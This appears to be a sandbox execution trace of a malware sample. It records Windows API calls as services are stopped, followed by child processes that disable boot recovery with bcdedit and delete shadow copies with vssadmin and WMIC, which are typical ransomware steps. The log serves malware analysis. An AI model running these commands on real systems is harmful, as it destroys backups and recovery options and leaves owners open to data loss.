	[0150.995] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0150.995] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0150.995] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0150.995] _wcsicmp (_String1="accounts", _String2="audioendpointbuilder") returned -18
	[0150.995] _wcsicmp (_String1="computer", _String2="audioendpointbuilder") returned 2
	[0150.995] _wcsicmp (_String1="config", _String2="audioendpointbuilder") returned 2
	[0150.995] _wcsicmp (_String1="continue", _String2="audioendpointbuilder") returned 2
	[0150.995] _wcsicmp (_String1="cont", _String2="audioendpointbuilder") returned 2
	[0150.995] _wcsicmp (_String1="file", _String2="audioendpointbuilder") returned 5
	[0150.995] _wcsicmp (_String1="files", _String2="audioendpointbuilder") returned 5
	[0150.995] _wcsicmp (_String1="group", _String2="audioendpointbuilder") returned 6
	[0150.995] _wcsicmp (_String1="groups", _String2="audioendpointbuilder") returned 6
	[0150.995] _wcsicmp (_String1="help", _String2="audioendpointbuilder") returned 7
	[0150.995] _wcsicmp (_String1="helpmsg", _String2="audioendpointbuilder") returned 7
	[0150.996] _wcsicmp (_String1="localgroup", _String2="audioendpointbuilder") returned 11
	[0150.996] _wcsicmp (_String1="pause", _String2="audioendpointbuilder") returned 15
	[0150.996] _wcsicmp (_String1="session", _String2="audioendpointbuilder") returned 18
	[0150.996] _wcsicmp (_String1="sessions", _String2="audioendpointbuilder") returned 18
	[0150.996] _wcsicmp (_String1="sess", _String2="audioendpointbuilder") returned 18
	[0150.996] _wcsicmp (_String1="share", _String2="audioendpointbuilder") returned 18
	[0150.996] _wcsicmp (_String1="start", _String2="audioendpointbuilder") returned 18
	[0150.996] _wcsicmp (_String1="stats", _String2="audioendpointbuilder") returned 18
	[0150.996] _wcsicmp (_String1="statistics", _String2="audioendpointbuilder") returned 18
	[0150.996] _wcsicmp (_String1="stop", _String2="audioendpointbuilder") returned 18
	[0150.996] _wcsicmp (_String1="time", _String2="audioendpointbuilder") returned 19
	[0150.996] _wcsicmp (_String1="user", _String2="audioendpointbuilder") returned 20
	[0150.996] _wcsicmp (_String1="users", _String2="audioendpointbuilder") returned 20
	[0150.996] _wcsicmp (_String1="msg", _String2="audioendpointbuilder") returned 12
	[0150.996] _wcsicmp (_String1="messenger", _String2="audioendpointbuilder") returned 12
	[0150.997] _wcsicmp (_String1="receiver", _String2="audioendpointbuilder") returned 17
	[0150.997] _wcsicmp (_String1="rcv", _String2="audioendpointbuilder") returned 17
	[0150.997] _wcsicmp (_String1="netpopup", _String2="audioendpointbuilder") returned 13
	[0150.997] _wcsicmp (_String1="redirector", _String2="audioendpointbuilder") returned 17
	[0150.997] _wcsicmp (_String1="redir", _String2="audioendpointbuilder") returned 17
	[0150.997] _wcsicmp (_String1="rdr", _String2="audioendpointbuilder") returned 17
	[0150.997] _wcsicmp (_String1="workstation", _String2="audioendpointbuilder") returned 22
	[0150.997] _wcsicmp (_String1="work", _String2="audioendpointbuilder") returned 22
	[0150.997] _wcsicmp (_String1="wksta", _String2="audioendpointbuilder") returned 22
	[0150.997] _wcsicmp (_String1="prdr", _String2="audioendpointbuilder") returned 15
	[0150.997] _wcsicmp (_String1="devrdr", _String2="audioendpointbuilder") returned 3
	[0150.997] _wcsicmp (_String1="lanmanworkstation", _String2="audioendpointbuilder") returned 11
	[0150.997] _wcsicmp (_String1="server", _String2="audioendpointbuilder") returned 18
	[0150.998] _wcsicmp (_String1="svr", _String2="audioendpointbuilder") returned 18
	[0150.998] _wcsicmp (_String1="srv", _String2="audioendpointbuilder") returned 18
	[0150.998] _wcsicmp (_String1="lanmanserver", _String2="audioendpointbuilder") returned 11
	[0150.998] _wcsicmp (_String1="alerter", _String2="audioendpointbuilder") returned -9
	[0150.998] _wcsicmp (_String1="netlogon", _String2="audioendpointbuilder") returned 13
	[0150.998] _wcsupr (in: _String="audioendpointbuilder" | out: _String="AUDIOENDPOINTBUILDER") returned="AUDIOENDPOINTBUILDER"
	[0150.999] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x23ce40
	[0151.013] GetServiceKeyNameW (in: hSCManager=0x23ce40, lpDisplayName="AUDIOENDPOINTBUILDER", lpServiceName=0xffe75750, lpcchBuffer=0xafb48 | out: lpServiceName="", lpcchBuffer=0xafb48) returned 0
	[0151.020] _wcsicmp (_String1="msg", _String2="AUDIOENDPOINTBUILDER") returned 12
	[0151.020] _wcsicmp (_String1="messenger", _String2="AUDIOENDPOINTBUILDER") returned 12
	[0151.020] _wcsicmp (_String1="receiver", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0151.020] _wcsicmp (_String1="rcv", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0151.020] _wcsicmp (_String1="redirector", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0151.020] _wcsicmp (_String1="redir", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0151.020] _wcsicmp (_String1="rdr", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0151.020] _wcsicmp (_String1="workstation", _String2="AUDIOENDPOINTBUILDER") returned 22
	[0151.020] _wcsicmp (_String1="work", _String2="AUDIOENDPOINTBUILDER") returned 22
	[0151.020] _wcsicmp (_String1="wksta", _String2="AUDIOENDPOINTBUILDER") returned 22
	[0151.021] _wcsicmp (_String1="prdr", _String2="AUDIOENDPOINTBUILDER") returned 15
	[0151.021] _wcsicmp (_String1="devrdr", _String2="AUDIOENDPOINTBUILDER") returned 3
	[0151.021] _wcsicmp (_String1="lanmanworkstation", _String2="AUDIOENDPOINTBUILDER") returned 11
	[0151.021] _wcsicmp (_String1="server", _String2="AUDIOENDPOINTBUILDER") returned 18
	[0151.021] _wcsicmp (_String1="svr", _String2="AUDIOENDPOINTBUILDER") returned 18
	[0151.021] _wcsicmp (_String1="srv", _String2="AUDIOENDPOINTBUILDER") returned 18
	[0151.021] _wcsicmp (_String1="lanmanserver", _String2="AUDIOENDPOINTBUILDER") returned 11
	[0151.021] _wcsicmp (_String1="alerter", _String2="AUDIOENDPOINTBUILDER") returned -9
	[0151.021] _wcsicmp (_String1="netlogon", _String2="AUDIOENDPOINTBUILDER") returned 13
	[0151.254] NetServiceControl (in: servername=0x0, service="AUDIOENDPOINTBUILDER", opcode=0x0, arg=0x0, bufptr=0xafb50 | out: bufptr=0xafb50) returned 0x0
	[0152.588] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0xafb08 | out: Buffer=0xafb08*=0x240cc0) returned 0x0
	[0152.588] OpenServiceW (hSCManager=0x23ce40, lpServiceName="AUDIOENDPOINTBUILDER", dwDesiredAccess=0xc) returned 0x23cea0
	[0152.589] QueryServiceStatus (in: hService=0x23cea0, lpServiceStatus=0xafab0 | out: lpServiceStatus=0xafab0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0xc1, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0152.590] EnumDependentServicesW (in: hService=0x23cea0, dwServiceState=0x1, lpServices=0x240cc0, cbBufSize=0xfa0, pcbBytesNeeded=0xafb00, lpServicesReturned=0xafaf8 | out: lpServices=0x240cc0*(lpServiceName="AudioSrv", lpDisplayName="Windows Audio", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0xc1, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0xafb00, lpServicesReturned=0xafaf8) returned 1
	[0152.594] GetServiceDisplayNameW (in: hSCManager=0x23ce40, lpServiceName="AUDIOENDPOINTBUILDER", lpDisplayName=0xffe75350, lpcchBuffer=0xafa88 | out: lpDisplayName="Windows Audio Endpoint Builder", lpcchBuffer=0xafa88) returned 1
	[0152.595] wcscpy_s (in: _Destination=0xffe780d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0152.595] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0152.596] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdca, dwLanguageId=0x0, lpBuffer=0xffe75b50, nSize=0x800, Arguments=0xffe77f90 | out: lpBuffer="The following services are dependent on the Windows Audio Endpoint Builder service.\r\nStopping the Windows Audio Endpoint Builder service will also stop these services.\r\n") returned 0xa9
	[0152.603] GetFileType (hFile=0x7) returned 0x2
	[0152.605] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xaf9c8 | out: lpMode=0xaf9c8) returned 1
	[0152.606] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe75b50*, nNumberOfCharsToWrite=0xa9, lpNumberOfCharsWritten=0xaf9c0, lpReserved=0x0 | out: lpBuffer=0xffe75b50*, lpNumberOfCharsWritten=0xaf9c0*=0xa9) returned 1
	[0152.610] GetFileType (hFile=0x7) returned 0x2
	[0152.611] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xaf9c8 | out: lpMode=0xaf9c8) returned 1
	[0152.612] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe51efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xaf9c0, lpReserved=0x0 | out: lpBuffer=0xffe51efc*, lpNumberOfCharsWritten=0xaf9c0*=0x2) returned 1
	[0152.614] _vsnwprintf_s (in: _Buffer=0xffe7aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="   %Fws", _ArgList=0xafa88 | out: _Buffer="   Windows Audio") returned 16
	[0152.615] GetFileType (hFile=0x7) returned 0x2
	[0152.616] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa58 | out: lpMode=0xafa58) returned 1
	[0152.616] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe7aea0*, nNumberOfCharsToWrite=0x10, lpNumberOfCharsWritten=0xafa50, lpReserved=0x0 | out: lpBuffer=0xffe7aea0*, lpNumberOfCharsWritten=0xafa50*=0x10) returned 1
	[0152.617] _vsnwprintf_s (in: _Buffer=0xffe7aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="\r\n", _ArgList=0xafa88 | out: _Buffer="\r\n") returned 2
	[0152.617] GetFileType (hFile=0x7) returned 0x2
	[0152.618] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa58 | out: lpMode=0xafa58) returned 1
	[0152.619] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe7aea0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xafa50, lpReserved=0x0 | out: lpBuffer=0xffe7aea0*, lpNumberOfCharsWritten=0xafa50*=0x2) returned 1
	[0152.620] _vsnwprintf_s (in: _Buffer=0xffe7aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="\r\n", _ArgList=0xafa88 | out: _Buffer="\r\n") returned 2
	[0152.620] GetFileType (hFile=0x7) returned 0x2
	[0152.621] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa58 | out: lpMode=0xafa58) returned 1
	[0152.622] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe7aea0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xafa50, lpReserved=0x0 | out: lpBuffer=0xffe7aea0*, lpNumberOfCharsWritten=0xafa50*=0x2) returned 1
	[0152.623] NetServiceControl (in: servername=0x0, service="AudioSrv", opcode=0x0, arg=0x0, bufptr=0xafa90 | out: bufptr=0xafa90) returned 0x0
	[0153.495] NetServiceControl (in: servername=0x0, service="AudioSrv", opcode=0x3, arg=0x0, bufptr=0xafa90 | out: bufptr=0xafa90) returned 0x0
	[0154.425] GetServiceDisplayNameW (in: hSCManager=0x23ce40, lpServiceName="AudioSrv", lpDisplayName=0xffe75350, lpcchBuffer=0xafa38 | out: lpDisplayName="Windows Audio", lpcchBuffer=0xafa38) returned 1
	[0154.425] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdc7, dwLanguageId=0x0, lpBuffer=0xffe75b50, nSize=0x800, Arguments=0xffe77f90 | out: lpBuffer="The Windows Audio service is stopping") returned 0x25
	[0154.426] GetFileType (hFile=0x7) returned 0x2
	[0154.427] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xaf978 | out: lpMode=0xaf978) returned 1
	[0154.427] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe75b50*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0xaf970, lpReserved=0x0 | out: lpBuffer=0xffe75b50*, lpNumberOfCharsWritten=0xaf970*=0x25) returned 1
	[0154.428] _vsnwprintf_s (in: _Buffer=0xffe7aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format=".", _ArgList=0xafa38 | out: _Buffer=".") returned 1
	[0154.428] GetFileType (hFile=0x7) returned 0x2
	[0154.429] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa08 | out: lpMode=0xafa08) returned 1
	[0154.430] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe7aea0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0xafa00, lpReserved=0x0 | out: lpBuffer=0xffe7aea0*, lpNumberOfCharsWritten=0xafa00*=0x1) returned 1
	[0154.431] Sleep (dwMilliseconds=0x9c4) 
	[0157.532] NetApiBufferFree (Buffer=0x242c90) returned 0x0
	[0157.532] NetServiceControl (in: servername=0x0, service="AudioSrv", opcode=0x0, arg=0x0, bufptr=0xafa90 | out: bufptr=0xafa90) returned 0x0
	[0157.536] _vsnwprintf_s (in: _Buffer=0xffe7aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format=".", _ArgList=0xafa38 | out: _Buffer=".") returned 1
	[0157.536] GetFileType (hFile=0x7) returned 0x2
	[0157.537] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa08 | out: lpMode=0xafa08) returned 1
	[0157.538] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe7aea0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0xafa00, lpReserved=0x0 | out: lpBuffer=0xffe7aea0*, lpNumberOfCharsWritten=0xafa00*=0x1) returned 1
	[0157.539] Sleep (dwMilliseconds=0x9c4) 
	[0160.323] NetApiBufferFree (Buffer=0x242c90) returned 0x0
	[0160.324] NetServiceControl (in: servername=0x0, service="AudioSrv", opcode=0x0, arg=0x0, bufptr=0xafa90 | out: bufptr=0xafa90) returned 0x0
	[0160.330] _vsnwprintf_s (in: _Buffer=0xffe7aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="\r\n", _ArgList=0xafa38 | out: _Buffer="\r\n") returned 2
	[0160.330] GetFileType (hFile=0x7) returned 0x2
	[0160.332] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa08 | out: lpMode=0xafa08) returned 1
	[0160.333] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe7aea0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xafa00, lpReserved=0x0 | out: lpBuffer=0xffe7aea0*, lpNumberOfCharsWritten=0xafa00*=0x2) returned 1
	[0160.334] NetApiBufferFree (Buffer=0x242c90) returned 0x0
	[0160.334] GetServiceDisplayNameW (in: hSCManager=0x23ce40, lpServiceName="AudioSrv", lpDisplayName=0xffe75350, lpcchBuffer=0xafa38 | out: lpDisplayName="Windows Audio", lpcchBuffer=0xafa38) returned 1
	[0160.335] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdc9, dwLanguageId=0x0, lpBuffer=0xffe75b50, nSize=0x800, Arguments=0xffe77f90 | out: lpBuffer="The Windows Audio service was stopped successfully.\r\n") returned 0x35
	[0160.336] GetFileType (hFile=0x7) returned 0x2
	[0160.336] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xaf978 | out: lpMode=0xaf978) returned 1
	[0160.337] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe75b50*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0xaf970, lpReserved=0x0 | out: lpBuffer=0xffe75b50*, lpNumberOfCharsWritten=0xaf970*=0x35) returned 1
	[0160.339] GetFileType (hFile=0x7) returned 0x2
	[0160.340] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xaf978 | out: lpMode=0xaf978) returned 1
	[0160.340] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe51efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xaf970, lpReserved=0x0 | out: lpBuffer=0xffe51efc*, lpNumberOfCharsWritten=0xaf970*=0x2) returned 1
	[0160.341] NetApiBufferFree (Buffer=0x240cc0) returned 0x0
	[0160.342] CloseServiceHandle (hSCObject=0x23cea0) returned 1
	[0160.342] NetServiceControl (in: servername=0x0, service="AUDIOENDPOINTBUILDER", opcode=0x3, arg=0x0, bufptr=0xafb50 | out: bufptr=0xafb50) returned 0x0
	[0170.383] GetServiceDisplayNameW (in: hSCManager=0x23ce40, lpServiceName="AUDIOENDPOINTBUILDER", lpDisplayName=0xffe75350, lpcchBuffer=0xafaf8 | out: lpDisplayName="Windows Audio Endpoint Builder", lpcchBuffer=0xafaf8) returned 1
	[0170.384] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdc7, dwLanguageId=0x0, lpBuffer=0xffe75b50, nSize=0x800, Arguments=0xffe77f90 | out: lpBuffer="The Windows Audio Endpoint Builder service is stopping") returned 0x36
	[0170.384] GetFileType (hFile=0x7) returned 0x2
	[0170.385] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa38 | out: lpMode=0xafa38) returned 1
	[0170.386] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe75b50*, nNumberOfCharsToWrite=0x36, lpNumberOfCharsWritten=0xafa30, lpReserved=0x0 | out: lpBuffer=0xffe75b50*, lpNumberOfCharsWritten=0xafa30*=0x36) returned 1
	[0170.387] _vsnwprintf_s (in: _Buffer=0xffe7aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format=".", _ArgList=0xafaf8 | out: _Buffer=".") returned 1
	[0170.387] GetFileType (hFile=0x7) returned 0x2
	[0170.388] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafac8 | out: lpMode=0xafac8) returned 1
	[0170.388] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe7aea0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0xafac0, lpReserved=0x0 | out: lpBuffer=0xffe7aea0*, lpNumberOfCharsWritten=0xafac0*=0x1) returned 1
	[0170.389] Sleep (dwMilliseconds=0x9c4) 
	[0173.570] NetApiBufferFree (Buffer=0x242c90) returned 0x0
	[0173.571] NetServiceControl (in: servername=0x0, service="AUDIOENDPOINTBUILDER", opcode=0x0, arg=0x0, bufptr=0xafb50 | out: bufptr=0xafb50) returned 0x0
	[0173.576] _vsnwprintf_s (in: _Buffer=0xffe7aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="\r\n", _ArgList=0xafaf8 | out: _Buffer="\r\n") returned 2
	[0173.576] GetFileType (hFile=0x7) returned 0x2
	[0173.578] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafac8 | out: lpMode=0xafac8) returned 1
	[0173.579] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe7aea0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xafac0, lpReserved=0x0 | out: lpBuffer=0xffe7aea0*, lpNumberOfCharsWritten=0xafac0*=0x2) returned 1
	[0173.579] NetApiBufferFree (Buffer=0x242c90) returned 0x0
	[0173.580] GetServiceDisplayNameW (in: hSCManager=0x23ce40, lpServiceName="AUDIOENDPOINTBUILDER", lpDisplayName=0xffe75350, lpcchBuffer=0xafaf8 | out: lpDisplayName="Windows Audio Endpoint Builder", lpcchBuffer=0xafaf8) returned 1
	[0173.581] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdc9, dwLanguageId=0x0, lpBuffer=0xffe75b50, nSize=0x800, Arguments=0xffe77f90 | out: lpBuffer="The Windows Audio Endpoint Builder service was stopped successfully.\r\n") returned 0x46
	[0173.581] GetFileType (hFile=0x7) returned 0x2
	[0173.582] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa38 | out: lpMode=0xafa38) returned 1
	[0173.583] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe75b50*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0xafa30, lpReserved=0x0 | out: lpBuffer=0xffe75b50*, lpNumberOfCharsWritten=0xafa30*=0x46) returned 1
	[0173.584] GetFileType (hFile=0x7) returned 0x2
	[0173.585] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xafa38 | out: lpMode=0xafa38) returned 1
	[0173.586] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe51efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xafa30, lpReserved=0x0 | out: lpBuffer=0xffe51efc*, lpNumberOfCharsWritten=0xafa30*=0x2) returned 1
	[0173.588] NetApiBufferFree (Buffer=0x234d60) returned 0x0
	[0173.588] NetApiBufferFree (Buffer=0x23c130) returned 0x0
	[0173.588] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"audioendpointbuilder\" /y"
	[0173.588] exit (_Code=0) 

Process:
	id = "23"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x31a68000"
	os_pid = "0x628"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "18"
	os_parent_pid = "0x484"
	cmd_line = "bcdedit  /set {default} recoveryenabled No "
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 136
	os_tid = 0x510


Process:
	id = "24"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x31c71000"
	os_pid = "0x248"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "17"
	os_parent_pid = "0xa8c"
	cmd_line = "vssadmin.exe  Delete Shadows /all /quiet"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 137
	os_tid = 0x7e0


Thread:
	id = 259
	os_tid = 0xc1c


Thread:
	id = 279
	os_tid = 0xc74


Thread:
	id = 292
	os_tid = 0xca8


Thread:
	id = 293
	os_tid = 0xcac


Process:
	id = "25"
	image_name = "wmic.exe"
	filename = "c:\\windows\\system32\\wbem\\wmic.exe"
	page_root = "0x31e6f000"
	os_pid = "0x7cc"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "16"
	os_parent_pid = "0x36c"
	cmd_line = "WMIC.exe  shadowcopy delete"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 138
	os_tid = 0x60c

	[0167.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fed0 | out: lpSystemTimeAsFileTime=0x28fed0*(dwLowDateTime=0x46429480, dwHighDateTime=0x1d5cdef)) 
	[0167.079] GetCurrentProcessId () returned 0x7cc
	[0167.079] GetCurrentThreadId () returned 0x60c
	[0167.079] GetTickCount () returned 0x116daf4
	[0167.079] QueryPerformanceCounter (in: lpPerformanceCount=0x28fed8 | out: lpPerformanceCount=0x28fed8*=30863901449) returned 1
	[0167.081] GetModuleHandleW (lpModuleName=0x0) returned 0xff680000
	[0167.081] __set_app_type (_Type=0x1) 
	[0167.081] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6cced0) returned 0x0
	[0167.082] __wgetmainargs (in: _Argc=0xff6f2380, _Argv=0xff6f2390, _Env=0xff6f2388, _DoWildCard=0, _StartInfo=0xff6f239c | out: _Argc=0xff6f2380, _Argv=0xff6f2390, _Env=0xff6f2388) returned 0
	[0167.336] ??0CHString@@QEAA@XZ () returned 0xff6f2ab0
	[0167.463] malloc (_Size=0x30) returned 0x3e5a40
	[0167.727] malloc (_Size=0x70) returned 0x3e5a80
	[0167.727] malloc (_Size=0x50) returned 0x3e7aa0
	[0167.727] malloc (_Size=0x30) returned 0x3e7b00
	[0167.727] malloc (_Size=0x48) returned 0x3e7b40
	[0167.727] malloc (_Size=0x30) returned 0x3e7b90
	[0167.728] malloc (_Size=0x30) returned 0x3e7bd0
	[0167.728] ??0CHString@@QEAA@XZ () returned 0xff6f2f58
	[0167.728] malloc (_Size=0x30) returned 0x3e7c10
	[0167.728] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0167.728] SetConsoleCtrlHandler (HandlerRoutine=0xff6c5724, Add=1) returned 1
	[0167.728] _onexit (_Func=0xff6df378) returned 0xff6df378
	[0167.728] _onexit (_Func=0xff6df490) returned 0xff6df490
	[0167.729] _onexit (_Func=0xff6df4d0) returned 0xff6df4d0
	[0167.730] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0167.730] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0167.963] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
	[0169.805] CoCreateInstance (in: rclsid=0xff6873a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff687370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xff6f2940 | out: ppv=0xff6f2940*=0x1da1390) returned 0x0
	[0169.992] GetCurrentProcess () returned 0xffffffffffffffff
	[0169.992] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x28fca0 | out: TokenHandle=0x28fca0*=0xf4) returned 1
	[0169.992] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x28fc98 | out: TokenInformation=0x0, ReturnLength=0x28fc98) returned 0
	[0169.992] malloc (_Size=0x40) returned 0x3e7f80
	[0169.992] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x3e7f80, TokenInformationLength=0x40, ReturnLength=0x28fc98 | out: TokenInformation=0x3e7f80, ReturnLength=0x28fc98) returned 1
	[0169.992] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0x3e7f80*(PrivilegesCount=0x5, Privileges=((Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=3, Attributes=0x19), (Luid.LowPart=0x2, Luid.HighPart=33, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=91748002, Attributes=0x300d4a2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0169.992] free (_Block=0x3e7f80) 
	[0169.993] CloseHandle (hObject=0xf4) returned 1
	[0170.228] malloc (_Size=0x40) returned 0x3e7f80
	[0170.229] malloc (_Size=0x40) returned 0x3e6400
	[0170.229] malloc (_Size=0x40) returned 0x3e6450
	[0170.229] malloc (_Size=0x20a) returned 0x3e64a0
	[0170.229] GetSystemDirectoryW (in: lpBuffer=0x3e64a0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
